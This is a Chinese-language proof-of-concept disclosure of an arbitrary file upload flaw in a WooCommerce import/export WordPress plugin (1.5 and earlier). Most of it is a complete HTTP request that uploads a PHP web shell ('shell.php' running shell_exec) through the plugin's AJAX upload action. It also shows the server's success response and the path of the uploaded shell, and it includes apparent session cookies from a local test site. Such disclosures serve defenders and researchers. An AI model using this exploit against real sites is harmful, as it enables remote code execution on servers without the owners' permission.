WooCommerce 导入导出插件 <= 1.5 - 认证用户(订阅者及以上)任意文件上传
WordPress 的 WooCommerce 导入导出插件在所有版本(包括 1.5)中存在任意文件上传漏洞,原因是缺少文件类型验证。这使得经过身份验证的攻击者(拥有订阅者及以上级别访问权限)能够在受影响站点的服务器上上传任意文件,从而可能导致远程代码执行。
将你的 cookies 替换为你自己的。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C31038bfa66d0777c50fba66263f613d288a20d1e14dfc0fc06903f77d1c9e41f; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wp-settings-time-1=1734520301; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C987ff9134b881efe3cced2fa12593fd0ba5b2b02613fb93f48433b112015551a; PHPSESSID=49f0a4bfb294cad31ed4a83ede9bf485; tk_ai=zv7IX5yQT%2F6RzXuKQwqmMvEV; tk_qs=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=sn-wie-products&tab=import
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------22553230142285543514464898073
Content-Length: 1149
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="action"
sn_wie_upload_product_csv_file
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_type"
file_upload
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: text/php
<?php shell_exec(id); ?>
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_url"
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="import_columns"
all
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="product_operation"
create_new_update_existing
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="product_search_type"
SKU
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="field_separator"
-----------------------------22553230142285543514464898073--
{"status":true,"code":104,"message":"Success","data":{"file_name":"import_manual_1734619267.php","total_requests":0,"import_columns":"all","product_search_type":"SKU","product_operation":"create_new_update_existing","field_separator":","}}
wp-content/uploads/import-export-for-woocommerce/product/import_manual_1734619267.php